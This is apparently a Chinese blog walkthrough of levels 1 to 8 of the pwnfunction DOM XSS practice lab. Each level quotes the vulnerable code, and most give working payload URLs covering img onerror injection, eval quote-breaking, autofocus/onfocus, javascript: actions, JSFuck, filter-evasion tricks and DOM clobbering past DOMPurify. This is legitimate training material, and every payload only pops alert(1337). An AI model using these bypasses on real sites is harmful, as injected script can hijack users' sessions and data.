XSS DOM型靶场复现(1-8关)

文章目录

XSS DOM型靶场复现(1-8关)

登录靶场

https://xss.pwnfunction.com/

1.Ma Spaghet!

要求

代码

html 复制代码
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

Let's go!

这句的意思是获取这个url中的get参数,并存储到innerHTML中,也就是h2标签里。如果有就设置h2的值为get传参的值,如果没有就设置h2的值为"Somebody"

那么首先我们先试试往somebody传参试试

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=sesessep

这里存在一个问题,somebody传谁就显示谁,那么尝试传递报错代码给h2试试

html 复制代码
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<script>alert(1)</script>

可以看到并没有报错弹窗,这么反常的原因是innerHTML因为安全性的问题不能执行插入的<script></script>标签,所有不能弹出报错弹窗

所有我们不能使用<script></script>标签,可以替换成<img>

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror="alert(1337)">

成功弹窗,第一关结束。

1.innerHTML中不能使用<script></script>标签

2.最好把innerHTML替换成有相同效果的innerText,以第一关为例,将innerHTML替换成innerText后,直接将语句当作字符串输出,所有innerText的安全系数要比innerHTML要高

html 复制代码
 <script>
    spaghet.innerText = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

2.Jefff

要求

代码

html 复制代码
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)    ---其中的动作为给变量ma赋值。
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

Let's go!

这句的意思是获取这个url中的get参数,如果有就设置h2的值为get传参的值,如果没有就设置h2的值为"JEFFF"

一个空值

命令执行代码

一个一次性定时器,表示在1秒后执行定时器中的动作

可以看到这里使用的是安全性更高的innerText而不是innerHTML,所有我们的入手点可以转换到eval上

方法1

尝试闭合双引号,相当于先执行了ma = "Ma name sesessep,之后再执行alert(1337),最后再加一个双引号进行闭合

方法2

在js中有一个特殊的连接符 " - "

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=sesessep%22-alert(1337);-%22

3.Ugandan Kunckles

要求

代码

html 复制代码
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

Let's go!

与第二关不同的是过滤了 " <> "

input里面有一个典型的问题,单引号闭合实现onclick,也就是在input里加一个onclick函数,函数里执行要执行的函数

我们同样可以先闭合一下看看

虽然成功弹窗,但是这里需要点击一下输入框,也就是进行了用户交互,不符合要求

那么有没有在input里不需要进行用户交互就可以实现动作的函数呢?

onfocus 函数,也就是获取焦点的意思,获取焦点以后就可以触发它的动作(弹窗)

按下tab后将焦点移到输入框上就可以实现弹窗

那如果在加上 autofocus 函数,自动聚焦,就可以不用用户按tab来触发弹窗,符合没有用户交互的要求了

4.Ricardo Milos

要求

代码

html 复制代码
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

Let's go!

这里是通过一次性定时器进行form表单的自动提交

action表单的触发可以使用 javascript (提交触发)

https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)

5.Ah That's Hawt

要求

代码

html 复制代码
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

Let's go!

这里过滤了很多东西

这里使用了innerHTML,可不可以使用第一关的方法

=<img src=1 onerror="alert(1337)">

显然是不行的,因为"()"被过滤了

那我们可以使用实体编码 %28 %29 来替换"()"

可以利用location加javascript伪协议,将"符号"、"变量名"、"函数名"统统变成"字符串",在字符串中我们可以使用所有js里可以使用的编码,去构造payload

=<img src="1" onerror=location="javascript:alert(1337)">
=<img src="1" onerror=location="javascript:alert%281337%29">

6.Ligma

要求

代码

html 复制代码
<h2 id="will"></h2>
<script>
	balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
	balls = balls.replace(/[A-Za-z0-9]/g, '')
	eval(balls)
</script>

Let's go!

过滤了所有字母和数字,和php相似,通过编码来解

我们要使用一个网站:https://jsfuck.com/

我们可以看到它可以将alert(1)编码成没有数字和字母,但我们仍需要进行urlcode进行编码

之后将url编码后的进行传参就可以了

7.Mafia

要求

代码

html 复制代码
<h2 id="will"></h2>
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

Let's go!

这里限制了最长50个字符

同样进行了过滤

方法1

这一关通过构造一个匿名函数

这样不可以,因为alert被过滤了,所有我们可以改成大写

但是这样就识别不了alert函数,所有我们要加上一个小写转换,将大写转换成小写

https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

方法2

利用两个函数,parseInt和toString来实现,两个函数都是进制转换,互为相反

先使用parseint函数将alert转化为30进制的数

再使用toString方法还原

https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(8680439..toString(30))(1337)

方法3

location.hash.slice(1)

location.hash取的是"#"后面的值,再加一个slice(1)方法截取(从#后第一位开始截取),就可以直接将alert(1337)截取出来

8.Ok, Boomer

要求

代码

html 复制代码
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

Let's go!

这里使用DOMPurify框架进行了过滤(任何标签都会被过滤),这个框架很难去绕过

而下面只有一个setTimeout定时器函数,而函数里面得ok也是个未定义的变量

这里涉及了DOM破坏

DOM破坏说简单一点就是对元素或者属性的覆盖

我们可以通过DOM破坏来使不存在未定义的ok变量出现

=<a id=ok href="javascript:alert(1337)">

利用a标签中的自带的toString方法,当调用a标签的时候,href中的字符串会覆盖a标签。

id等于ok是为了setTimeout可以获取到我们写的a标签

没有反应

是因为JavaScript是DOMPurify框架中的黑名单,被过滤了,所有我们去到框架的白名单替换其中一个就行了

我们这里使用xmpp来代替JavaScript

https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=%22xmpp:alert(1337)%22%3E

成功

world war 3没做完............求放过

相关推荐
醉の虾13 分钟前
Vue3 使用v-for 渲染列表数据后更新
前端·javascript·vue.js
张小小大智慧21 分钟前
TypeScript 的发展与基本语法
前端·javascript·typescript
hummhumm31 分钟前
第 22 章 - Go语言 测试与基准测试
java·大数据·开发语言·前端·python·golang·log4j
asleep70143 分钟前
第8章利用CSS制作导航菜单
前端·css
hummhumm1 小时前
第 28 章 - Go语言 Web 开发入门
java·开发语言·前端·python·sql·golang·前端框架
幼儿园的小霸王1 小时前
通过socket设置版本更新提示
前端·vue.js·webpack·typescript·前端框架·anti-design-vue
疯狂的沙粒1 小时前
对 TypeScript 中高级类型的理解?应该在哪些方面可以更好的使用!
前端·javascript·typescript
gqkmiss2 小时前
Chrome 浏览器 131 版本开发者工具(DevTools)更新内容
前端·chrome·浏览器·chrome devtools
Summer不秃2 小时前
Flutter之使用mqtt进行连接和信息传输的使用案例
前端·flutter
旭日猎鹰2 小时前
Flutter踩坑记录(二)-- GestureDetector+Expanded点击无效果
前端·javascript·flutter